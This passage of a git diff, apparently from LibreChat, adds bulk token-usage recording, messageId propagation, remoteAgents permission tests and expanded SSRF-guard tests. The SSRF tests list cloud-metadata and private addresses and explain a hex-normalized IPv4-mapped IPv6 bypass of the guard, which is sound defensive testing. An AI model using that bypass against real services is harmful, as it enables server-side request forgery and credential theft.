+        { input_tokens: 35368, output_tokens: 150, model: 'claude-opus' },
+        { input_tokens: 58362, output_tokens: 295, model: 'claude-opus' },
+        { input_tokens: 112604, output_tokens: 193, model: 'claude-opus' },
+        { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.input_tokens).toBe(31596);
+      expect(result?.output_tokens).toBe(3006); // 151+150+295+193+2217
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs).toHaveLength(10); // 5 entries × 2 docs
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+    });
+
+    it('should handle cache tokens with multiple tool calls — same totals as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        {
+          input_tokens: 788,
+          output_tokens: 163,
+          model: 'claude-opus',
+          input_token_details: { cache_read: 0, cache_creation: 30808 },
+        },
+        {
+          input_tokens: 3802,
+          output_tokens: 149,
+          model: 'claude-opus',
+          input_token_details: { cache_read: 30808, cache_creation: 768 },
+        },
+        {
+          input_tokens: 26808,
+          output_tokens: 225,
+          model: 'claude-opus',
+          input_token_details: { cache_read: 31576, cache_creation: 0 },
+        },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result?.input_tokens).toBe(31596); // 788 + 30808 + 0
+      expect(result?.output_tokens).toBe(537); // 163 + 149 + 225
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('error handling', () => {
+    it('should catch bulk write errors — still returns correct result', async () => {
+      mockInsertMany.mockRejectedValue(new Error('DB error'));
+
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage });
+
+      expect(result).toEqual({ input_tokens: 100, output_tokens: 50 });
+    });
+  });
+
+  describe('transaction metadata — doc fields match what legacy would pass to spendTokens', () => {
+    it('should pass all metadata fields to docs', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+      const endpointTokenConfig = { 'gpt-4': { prompt: 0.01, completion: 0.03, context: 8192 } };
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        messageId: 'msg-123',
+        endpointTokenConfig,
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      for (const doc of docs) {
+        expect(doc.user).toBe('user-123');
+        expect(doc.conversationId).toBe('convo-123');
+        expect(doc.model).toBe('gpt-4');
+        expect(doc.context).toBe('message');
+        expect(doc.messageId).toBe('msg-123');
+      }
+    });
+
+    it('should use default context "message" when not provided', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        user: 'user-123',
+        conversationId: 'convo-123',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs[0].context).toBe('message');
+    });
+
+    it('should allow custom context like "title"', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        context: 'title',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs[0].context).toBe('title');
+    });
+  });
+
+  describe('messageId propagation — messageId on every doc', () => {
+    it('should propagate messageId to all docs', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 10, output_tokens: 5, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        messageId: 'msg-1',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      for (const doc of docs) {
+        expect(doc.messageId).toBe('msg-1');
+      }
+    });
+
+    it('should propagate messageId to structured cache docs', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        {
+          input_tokens: 100,
+          output_tokens: 50,
+          model: 'claude-3',
+          cache_creation_input_tokens: 25,
+          cache_read_input_tokens: 15,
+        },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        messageId: 'msg-cache-1',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      for (const doc of docs) {
+        expect(doc.messageId).toBe('msg-cache-1');
+      }
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+    });
+
+    it('should pass undefined messageId when not provided', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 10, output_tokens: 5, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        user: 'user-123',
+        conversationId: 'convo-123',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      expect(docs[0].messageId).toBeUndefined();
+    });
+
+    it('should propagate messageId across all entries in a multi-entry batch', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
+        {
+          input_tokens: 150,
+          output_tokens: 30,
+          model: 'gpt-4',
+          input_token_details: { cache_creation: 10, cache_read: 5 },
+        },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        messageId: 'msg-multi',
+        collectedUsage,
+      });
+
+      const docs = mockInsertMany.mock.calls[0][0];
+      for (const doc of docs) {
+        expect(doc.messageId).toBe('msg-multi');
+      }
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('balance behavior parity', () => {
+    it('should not call updateBalance when balance is disabled — same as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        balance: { enabled: false },
+        collectedUsage,
+      });
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockUpdateBalance).not.toHaveBeenCalled();
+    });
+
+    it('should not insert docs when transactions are disabled — same as legacy', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        transactions: { enabled: false },
+        collectedUsage,
+      });
+
+      expect(mockInsertMany).not.toHaveBeenCalled();
+      expect(mockUpdateBalance).not.toHaveBeenCalled();
+    });
+  });
+});
diff --git a/packages/api/src/agents/usage.spec.ts b/packages/api/src/agents/usage.spec.ts
index 9c06567dc4..d0b065b8ff 100644
--- a/packages/api/src/agents/usage.spec.ts
+++ b/packages/api/src/agents/usage.spec.ts
@@ -1,6 +1,7 @@
-import { recordCollectedUsage } from './usage';
-import type { RecordUsageDeps, RecordUsageParams } from './usage';
 import type { UsageMetadata } from '../stream/interfaces/IJobStore';
+import type { RecordUsageDeps, RecordUsageParams } from './usage';
+import type { BulkWriteDeps, PricingFns } from './transactions';
+import { recordCollectedUsage } from './usage';
 
 describe('recordCollectedUsage', () => {
   let mockSpendTokens: jest.Mock;
@@ -379,6 +380,7 @@ describe('recordCollectedUsage', () => {
 
       await recordCollectedUsage(deps, {
         ...baseParams,
+        messageId: 'msg-123',
         endpointTokenConfig,
         collectedUsage,
       });
@@ -389,6 +391,7 @@ describe('recordCollectedUsage', () => {
           conversationId: 'convo-123',
           model: 'gpt-4',
           context: 'message',
+          messageId: 'msg-123',
           balance: { enabled: true },
           transactions: { enabled: true },
           endpointTokenConfig,
@@ -431,4 +434,288 @@ describe('recordCollectedUsage', () => {
       );
     });
   });
+
+  describe('messageId propagation', () => {
+    it('should pass messageId to spendTokens', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 10, output_tokens: 5, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        messageId: 'msg-1',
+        collectedUsage,
+      });
+
+      expect(mockSpendTokens).toHaveBeenCalledWith(
+        expect.objectContaining({ messageId: 'msg-1' }),
+        expect.any(Object),
+      );
+    });
+
+    it('should pass messageId to spendStructuredTokens for cache paths', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        {
+          input_tokens: 100,
+          output_tokens: 50,
+          model: 'claude-3',
+          cache_creation_input_tokens: 25,
+          cache_read_input_tokens: 15,
+        },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        messageId: 'msg-cache-1',
+        collectedUsage,
+      });
+
+      expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
+        expect.objectContaining({ messageId: 'msg-cache-1' }),
+        expect.any(Object),
+      );
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+    });
+
+    it('should pass undefined messageId when not provided', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 10, output_tokens: 5, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(deps, {
+        user: 'user-123',
+        conversationId: 'convo-123',
+        collectedUsage,
+      });
+
+      expect(mockSpendTokens).toHaveBeenCalledWith(
+        expect.objectContaining({ messageId: undefined }),
+        expect.any(Object),
+      );
+    });
+
+    it('should propagate messageId across multiple usage entries', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
+        {
+          input_tokens: 150,
+          output_tokens: 30,
+          model: 'gpt-4',
+          input_token_details: { cache_creation: 10, cache_read: 5 },
+        },
+      ];
+
+      await recordCollectedUsage(deps, {
+        ...baseParams,
+        messageId: 'msg-multi',
+        collectedUsage,
+      });
+
+      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
+
+      for (const call of mockSpendTokens.mock.calls) {
+        expect(call[0]).toEqual(expect.objectContaining({ messageId: 'msg-multi' }));
+      }
+      expect(mockSpendStructuredTokens.mock.calls[0][0]).toEqual(
+        expect.objectContaining({ messageId: 'msg-multi' }),
+      );
+    });
+  });
+
+  describe('bulk write path', () => {
+    let mockInsertMany: jest.Mock;
+    let mockUpdateBalance: jest.Mock;
+    let mockPricing: PricingFns;
+    let mockBulkWriteOps: BulkWriteDeps;
+    let bulkDeps: RecordUsageDeps;
+
+    beforeEach(() => {
+      mockInsertMany = jest.fn().mockResolvedValue(undefined);
+      mockUpdateBalance = jest.fn().mockResolvedValue({});
+      mockPricing = {
+        getMultiplier: jest.fn().mockReturnValue(1),
+        getCacheMultiplier: jest.fn().mockReturnValue(null),
+      };
+      mockBulkWriteOps = {
+        insertMany: mockInsertMany,
+        updateBalance: mockUpdateBalance,
+      };
+      bulkDeps = {
+        spendTokens: mockSpendTokens,
+        spendStructuredTokens: mockSpendStructuredTokens,
+        pricing: mockPricing,
+        bulkWriteOps: mockBulkWriteOps,
+      };
+    });
+
+    it('should use bulk path when pricing and bulkWriteOps are provided', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(bulkDeps, {
+        ...baseParams,
+        collectedUsage,
+      });
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+      expect(result).toEqual({ input_tokens: 100, output_tokens: 50 });
+    });
+
+    it('should batch all entries into a single insertMany call', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
+        { input_tokens: 300, output_tokens: 70, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(bulkDeps, {
+        ...baseParams,
+        collectedUsage,
+      });
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      const insertedDocs = mockInsertMany.mock.calls[0][0];
+      expect(insertedDocs.length).toBe(6); // 2 per entry (prompt + completion)
+    });
+
+    it('should call updateBalance once when balance is enabled', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(bulkDeps, {
+        ...baseParams,
+        balance: { enabled: true },
+        collectedUsage,
+      });
+
+      expect(mockUpdateBalance).toHaveBeenCalledTimes(1);
+      expect(mockUpdateBalance).toHaveBeenCalledWith(
+        expect.objectContaining({
+          user: 'user-123',
+          incrementValue: expect.any(Number),
+        }),
+      );
+    });
+
+    it('should not call updateBalance when balance is disabled', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(bulkDeps, {
+        ...baseParams,
+        balance: { enabled: false },
+        collectedUsage,
+      });
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockUpdateBalance).not.toHaveBeenCalled();
+    });
+
+    it('should handle cache tokens via bulk path', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        {
+          input_tokens: 100,
+          output_tokens: 50,
+          model: 'gpt-4',
+          input_token_details: { cache_creation: 20, cache_read: 10 },
+        },
+      ];
+
+      const result = await recordCollectedUsage(bulkDeps, {
+        ...baseParams,
+        collectedUsage,
+      });
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+      expect(result).toBeDefined();
+    });
+
+    it('should handle mixed cache and non-cache entries in bulk', async () => {
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+        {
+          input_tokens: 150,
+          output_tokens: 30,
+          model: 'gpt-4',
+          input_token_details: { cache_creation: 10, cache_read: 5 },
+        },
+      ];
+
+      const result = await recordCollectedUsage(bulkDeps, {
+        ...baseParams,
+        collectedUsage,
+      });
+
+      expect(mockInsertMany).toHaveBeenCalledTimes(1);
+      expect(mockSpendTokens).not.toHaveBeenCalled();
+      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+      expect(result?.output_tokens).toBe(80);
+    });
+
+    it('should fall back to legacy path when pricing is missing', async () => {
+      const legacyDeps: RecordUsageDeps = {
+        spendTokens: mockSpendTokens,
+        spendStructuredTokens: mockSpendStructuredTokens,
+        bulkWriteOps: mockBulkWriteOps,
+        // no pricing
+      };
+
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(legacyDeps, {
+        ...baseParams,
+        collectedUsage,
+      });
+
+      expect(mockSpendTokens).toHaveBeenCalledTimes(1);
+      expect(mockInsertMany).not.toHaveBeenCalled();
+    });
+
+    it('should fall back to legacy path when bulkWriteOps is missing', async () => {
+      const legacyDeps: RecordUsageDeps = {
+        spendTokens: mockSpendTokens,
+        spendStructuredTokens: mockSpendStructuredTokens,
+        pricing: mockPricing,
+        // no bulkWriteOps
+      };
+
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      await recordCollectedUsage(legacyDeps, {
+        ...baseParams,
+        collectedUsage,
+      });
+
+      expect(mockSpendTokens).toHaveBeenCalledTimes(1);
+      expect(mockInsertMany).not.toHaveBeenCalled();
+    });
+
+    it('should handle errors in bulk write gracefully', async () => {
+      mockInsertMany.mockRejectedValue(new Error('DB error'));
+
+      const collectedUsage: UsageMetadata[] = [
+        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+      ];
+
+      const result = await recordCollectedUsage(bulkDeps, {
+        ...baseParams,
+        collectedUsage,
+      });
+
+      expect(result).toEqual({ input_tokens: 100, output_tokens: 50 });
+    });
+  });
 });
diff --git a/packages/api/src/agents/usage.ts b/packages/api/src/agents/usage.ts
index 545be9195d..c092702730 100644
--- a/packages/api/src/agents/usage.ts
+++ b/packages/api/src/agents/usage.ts
@@ -1,33 +1,20 @@
 import { logger } from '@librechat/data-schemas';
 import type { TCustomConfig, TTransactionsConfig } from 'librechat-data-provider';
-import type { UsageMetadata } from '../stream/interfaces/IJobStore';
-import type { EndpointTokenConfig } from '../types/tokens';
-
-interface TokenUsage {
-  promptTokens?: number;
-  completionTokens?: number;
-}
-
-interface StructuredPromptTokens {
-  input?: number;
-  write?: number;
-  read?: number;
-}
-
-interface StructuredTokenUsage {
-  promptTokens?: StructuredPromptTokens;
-  completionTokens?: number;
-}
-
-interface TxMetadata {
-  user: string;
-  model?: string;
-  context: string;
-  conversationId: string;
-  balance?: Partial<TCustomConfig['balance']> | null;
-  transactions?: Partial<TTransactionsConfig>;
-  endpointTokenConfig?: EndpointTokenConfig;
-}
+import type {
+  StructuredTokenUsage,
+  BulkWriteDeps,
+  PreparedEntry,
+  TxMetadata,
+  TokenUsage,
+  PricingFns,
+} from './transactions';
+import type { UsageMetadata } from '~/stream/interfaces/IJobStore';
+import type { EndpointTokenConfig } from '~/types/tokens';
+import {
+  prepareStructuredTokenSpend,
+  bulkWriteTransactions,
+  prepareTokenSpend,
+} from './transactions';
 
 type SpendTokensFn = (txData: TxMetadata, tokenUsage: TokenUsage) => Promise<unknown>;
 type SpendStructuredTokensFn = (
@@ -38,6 +25,8 @@ type SpendStructuredTokensFn = (
 export interface RecordUsageDeps {
   spendTokens: SpendTokensFn;
   spendStructuredTokens: SpendStructuredTokensFn;
+  pricing?: PricingFns;
+  bulkWriteOps?: BulkWriteDeps;
 }
 
 export interface RecordUsageParams {
@@ -46,6 +35,7 @@ export interface RecordUsageParams {
   collectedUsage: UsageMetadata[];
   model?: string;
   context?: string;
+  messageId?: string;
   balance?: Partial<TCustomConfig['balance']> | null;
   transactions?: Partial<TTransactionsConfig>;
   endpointTokenConfig?: EndpointTokenConfig;
@@ -59,6 +49,9 @@ export interface RecordUsageResult {
 /**
  * Records token usage for collected LLM calls and spends tokens against balance.
  * This handles both sequential execution (tool calls) and parallel execution (multiple agents).
+ *
+ * When `pricing` and `bulkWriteOps` deps are provided, prepares all transaction documents
+ * in-memory first, then writes them in a single `insertMany` + one `updateBalance` call.
  */
 export async function recordCollectedUsage(
   deps: RecordUsageDeps,
@@ -68,6 +61,7 @@ export async function recordCollectedUsage(
     user,
     model,
     balance,
+    messageId,
     transactions,
     conversationId,
     collectedUsage,
@@ -75,8 +69,6 @@ export async function recordCollectedUsage(
     context = 'message',
   } = params;
 
-  const { spendTokens, spendStructuredTokens } = deps;
-
   if (!collectedUsage || !collectedUsage.length) {
     return;
   }
@@ -93,6 +85,11 @@ export async function recordCollectedUsage(
 
   let total_output_tokens = 0;
 
+  const { pricing, bulkWriteOps } = deps;
+  const useBulk = pricing && bulkWriteOps;
+
+  const allDocs: PreparedEntry[] = [];
+
   for (const usage of collectedUsage) {
     if (!usage) {
       continue;
@@ -108,35 +105,78 @@ export async function recordCollectedUsage(
     total_output_tokens += Number(usage.output_tokens) || 0;
 
     const txMetadata: TxMetadata = {
+      user,
       context,
       balance,
+      messageId,
       transactions,
       conversationId,
-      user,
       endpointTokenConfig,
       model: usage.model ?? model,
     };
 
-    if (cache_creation > 0 || cache_read > 0) {
-      spendStructuredTokens(txMetadata, {
-        promptTokens: {
-          input: usage.input_tokens,
-          write: cache_creation,
-          read: cache_read,
-        },
-        completionTokens: usage.output_tokens,
-      }).catch((err) => {
-        logger.error('[packages/api #recordCollectedUsage] Error spending structured tokens', err);
-      });
+    if (useBulk) {
+      const entries =
+        cache_creation > 0 || cache_read > 0
+          ? prepareStructuredTokenSpend(
+              txMetadata,
+              {
+                promptTokens: {
+                  input: usage.input_tokens,
+                  write: cache_creation,
+                  read: cache_read,
+                },
+                completionTokens: usage.output_tokens,
+              },
+              pricing,
+            )
+          : prepareTokenSpend(
+              txMetadata,
+              {
+                promptTokens: usage.input_tokens,
+                completionTokens: usage.output_tokens,
+              },
+              pricing,
+            );
+      allDocs.push(...entries);
       continue;
     }
 
-    spendTokens(txMetadata, {
-      promptTokens: usage.input_tokens,
-      completionTokens: usage.output_tokens,
-    }).catch((err) => {
-      logger.error('[packages/api #recordCollectedUsage] Error spending tokens', err);
-    });
+    if (cache_creation > 0 || cache_read > 0) {
+      deps
+        .spendStructuredTokens(txMetadata, {
+          promptTokens: {
+            input: usage.input_tokens,
+            write: cache_creation,
+            read: cache_read,
+          },
+          completionTokens: usage.output_tokens,
+        })
+        .catch((err) => {
+          logger.error(
+            '[packages/api #recordCollectedUsage] Error spending structured tokens',
+            err,
+          );
+        });
+      continue;
+    }
+
+    deps
+      .spendTokens(txMetadata, {
+        promptTokens: usage.input_tokens,
+        completionTokens: usage.output_tokens,
+      })
+      .catch((err) => {
+        logger.error('[packages/api #recordCollectedUsage] Error spending tokens', err);
+      });
+  }
+
+  if (useBulk && allDocs.length > 0) {
+    try {
+      await bulkWriteTransactions({ user, docs: allDocs }, bulkWriteOps);
+    } catch (err) {
+      logger.error('[packages/api #recordCollectedUsage] Error in bulk write', err);
+    }
   }
 
   return {
diff --git a/packages/api/src/app/config.ts b/packages/api/src/app/config.ts
index 0a2fb3e6f9..db5917da09 100644
--- a/packages/api/src/app/config.ts
+++ b/packages/api/src/app/config.ts
@@ -64,11 +64,7 @@ export const getCustomEndpointConfig = ({
 
   const customEndpoints = appConfig.endpoints?.[EModelEndpoint.custom] ?? [];
   return customEndpoints.find(
-    (endpointConfig) => normalizeEndpointName(endpointConfig.name) === normalizeEndpointName(endpoint),
+    (endpointConfig) =>
+      normalizeEndpointName(endpointConfig.name) === normalizeEndpointName(endpoint),
   );
 };
-
-export function hasCustomUserVars(appConfig?: AppConfig): boolean {
-  const mcpServers = appConfig?.mcpConfig;
-  return Object.values(mcpServers ?? {}).some((server) => server?.customUserVars);
-}
diff --git a/packages/api/src/app/permissions.spec.ts b/packages/api/src/app/permissions.spec.ts
index 41014dc200..7ab7e0d0d1 100644
--- a/packages/api/src/app/permissions.spec.ts
+++ b/packages/api/src/app/permissions.spec.ts
@@ -2100,4 +2100,98 @@ describe('updateInterfacePermissions - permissions', () => {
     expect(userCall[1][PermissionTypes.MCP_SERVERS]).toHaveProperty(Permissions.SHARE_PUBLIC);
     expect(userCall[1][PermissionTypes.MCP_SERVERS]).not.toHaveProperty(Permissions.SHARE);
   });
+
+  it('should apply explicit remoteAgents config to USER permissions (regression: loadDefaultInterface omission)', async () => {
+    const config = {
+      interface: {
+        remoteAgents: { use: true, create: true, share: false, public: false },
+      },
+    };
+    const configDefaults = { interface: {} } as TConfigDefaults;
+    const interfaceConfig = await loadDefaultInterface({ config, configDefaults });
+    const appConfig = { config, interfaceConfig } as unknown as AppConfig;
+
+    await updateInterfacePermissions({
+      appConfig,
+      getRoleByName: mockGetRoleByName,
+      updateAccessPermissions: mockUpdateAccessPermissions,
+    });
+
+    const userCall = mockUpdateAccessPermissions.mock.calls.find(
+      (call) => call[0] === SystemRoles.USER,
+    );
+    const adminCall = mockUpdateAccessPermissions.mock.calls.find(
+      (call) => call[0] === SystemRoles.ADMIN,
+    );
+
+    expect(userCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({
+      [Permissions.USE]: true,
+      [Permissions.CREATE]: true,
+      [Permissions.SHARE]: false,
+      [Permissions.SHARE_PUBLIC]: false,
+    });
+
+    expect(adminCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({
+      [Permissions.USE]: true,
+      [Permissions.CREATE]: true,
+      [Permissions.SHARE]: false,
+      [Permissions.SHARE_PUBLIC]: false,
+    });
+  });
+
+  it('should enable all remoteAgents permissions when fully enabled in config', async () => {
+    const config = {
+      interface: {
+        remoteAgents: { use: true, create: true, share: true, public: true },
+      },
+    };
+    const configDefaults = { interface: {} } as TConfigDefaults;
+    const interfaceConfig = await loadDefaultInterface({ config, configDefaults });
+    const appConfig = { config, interfaceConfig } as unknown as AppConfig;
+
+    await updateInterfacePermissions({
+      appConfig,
+      getRoleByName: mockGetRoleByName,
+      updateAccessPermissions: mockUpdateAccessPermissions,
+    });
+
+    const userCall = mockUpdateAccessPermissions.mock.calls.find(
+      (call) => call[0] === SystemRoles.USER,
+    );
+
+    expect(userCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({
+      [Permissions.USE]: true,
+      [Permissions.CREATE]: true,
+      [Permissions.SHARE]: true,
+      [Permissions.SHARE_PUBLIC]: true,
+    });
+  });
+
+  it('should use role defaults for remoteAgents when not configured (all false for USER)', async () => {
+    const config = {
+      interface: {
+        bookmarks: true,
+      },
+    };
+    const configDefaults = { interface: {} } as TConfigDefaults;
+    const interfaceConfig = await loadDefaultInterface({ config, configDefaults });
+    const appConfig = { config, interfaceConfig } as unknown as AppConfig;
+
+    await updateInterfacePermissions({
+      appConfig,
+      getRoleByName: mockGetRoleByName,
+      updateAccessPermissions: mockUpdateAccessPermissions,
+    });
+
+    const userCall = mockUpdateAccessPermissions.mock.calls.find(
+      (call) => call[0] === SystemRoles.USER,
+    );
+
+    expect(userCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({
+      [Permissions.USE]: false,
+      [Permissions.CREATE]: false,
+      [Permissions.SHARE]: false,
+      [Permissions.SHARE_PUBLIC]: false,
+    });
+  });
 });
diff --git a/packages/api/src/auth/domain.spec.ts b/packages/api/src/auth/domain.spec.ts
index 5f6187c9b4..9812960cd9 100644
--- a/packages/api/src/auth/domain.spec.ts
+++ b/packages/api/src/auth/domain.spec.ts
@@ -153,8 +153,9 @@ describe('isSSRFTarget', () => {
       expect(isSSRFTarget('169.254.0.1')).toBe(true);
     });
 
-    it('should block 0.0.0.0', () => {
+    it('should block 0.0.0.0/8 (current network)', () => {
       expect(isSSRFTarget('0.0.0.0')).toBe(true);
+      expect(isSSRFTarget('0.1.2.3')).toBe(true);
     });
 
     it('should allow public IPs', () => {
@@ -230,8 +231,36 @@ describe('isPrivateIP', () => {
       expect(isPrivateIP('169.254.0.1')).toBe(true);
     });
 
-    it('should detect 0.0.0.0', () => {
+    it('should detect 0.0.0.0/8 (current network)', () => {
       expect(isPrivateIP('0.0.0.0')).toBe(true);
+      expect(isPrivateIP('0.1.2.3')).toBe(true);
+    });
+
+    it('should detect 100.64.0.0/10 (CGNAT / shared address space)', () => {
+      expect(isPrivateIP('100.64.0.1')).toBe(true);
+      expect(isPrivateIP('100.127.255.255')).toBe(true);
+      expect(isPrivateIP('100.63.255.255')).toBe(false);
+      expect(isPrivateIP('100.128.0.1')).toBe(false);
+    });
+
+    it('should detect 192.0.0.0/24 (IETF protocol assignments)', () => {
+      expect(isPrivateIP('192.0.0.1')).toBe(true);
+      expect(isPrivateIP('192.0.0.255')).toBe(true);
+      expect(isPrivateIP('192.0.1.1')).toBe(false);
+    });
+
+    it('should detect 198.18.0.0/15 (benchmarking)', () => {
+      expect(isPrivateIP('198.18.0.1')).toBe(true);
+      expect(isPrivateIP('198.19.255.255')).toBe(true);
+      expect(isPrivateIP('198.17.0.1')).toBe(false);
+      expect(isPrivateIP('198.20.0.1')).toBe(false);
+    });
+
+    it('should detect 224.0.0.0/4 (multicast) and 240.0.0.0/4 (reserved)', () => {
+      expect(isPrivateIP('224.0.0.1')).toBe(true);
+      expect(isPrivateIP('239.255.255.255')).toBe(true);
+      expect(isPrivateIP('240.0.0.1')).toBe(true);
+      expect(isPrivateIP('255.255.255.255')).toBe(true);
     });
 
     it('should allow public IPs', () => {
@@ -270,6 +299,144 @@ describe('isPrivateIP', () => {
   });
 });
 
+describe('isPrivateIP - IPv4-mapped IPv6 hex-normalized form (CVE-style SSRF bypass)', () => {
+  /**
+   * Node.js URL parser normalizes IPv4-mapped IPv6 from dotted-decimal to hex:
+   *   new URL('http://[::ffff:169.254.169.254]/').hostname → '::ffff:a9fe:a9fe'
+   *
+   * These tests confirm whether isPrivateIP catches the hex form that actually
+   * reaches it in production (via parseDomainSpec → new URL → hostname).
+   */
+  it('should detect hex-normalized AWS metadata address (::ffff:a9fe:a9fe)', () => {
+    // ::ffff:169.254.169.254 → hex form after URL parsing
+    expect(isPrivateIP('::ffff:a9fe:a9fe')).toBe(true);
+  });
+
+  it('should detect hex-normalized loopback (::ffff:7f00:1)', () => {
+    // ::ffff:127.0.0.1 → hex form after URL parsing
+    expect(isPrivateIP('::ffff:7f00:1')).toBe(true);
+  });
+
+  it('should detect hex-normalized 192.168.x.x (::ffff:c0a8:101)', () => {
+    // ::ffff:192.168.1.1 → hex form after URL parsing
+    expect(isPrivateIP('::ffff:c0a8:101')).toBe(true);
+  });
+
+  it('should detect hex-normalized 10.x.x.x (::ffff:a00:1)', () => {
+    // ::ffff:10.0.0.1 → hex form after URL parsing
+    expect(isPrivateIP('::ffff:a00:1')).toBe(true);
+  });
+
+  it('should detect hex-normalized 172.16.x.x (::ffff:ac10:1)', () => {
+    // ::ffff:172.16.0.1 → hex form after URL parsing
+    expect(isPrivateIP('::ffff:ac10:1')).toBe(true);
+  });
+
+  it('should detect hex-normalized 0.0.0.0 (::ffff:0:0)', () => {
+    // ::ffff:0.0.0.0 → hex form after URL parsing
+    expect(isPrivateIP('::ffff:0:0')).toBe(true);
+  });
+
+  it('should allow hex-normalized public IPs (::ffff:808:808 = 8.8.8.8)', () => {
+    expect(isPrivateIP('::ffff:808:808')).toBe(false);
+  });
+
+  it('should detect IPv4-compatible addresses without ffff prefix (::XXXX:XXXX)', () => {
+    expect(isPrivateIP('::7f00:1')).toBe(true);
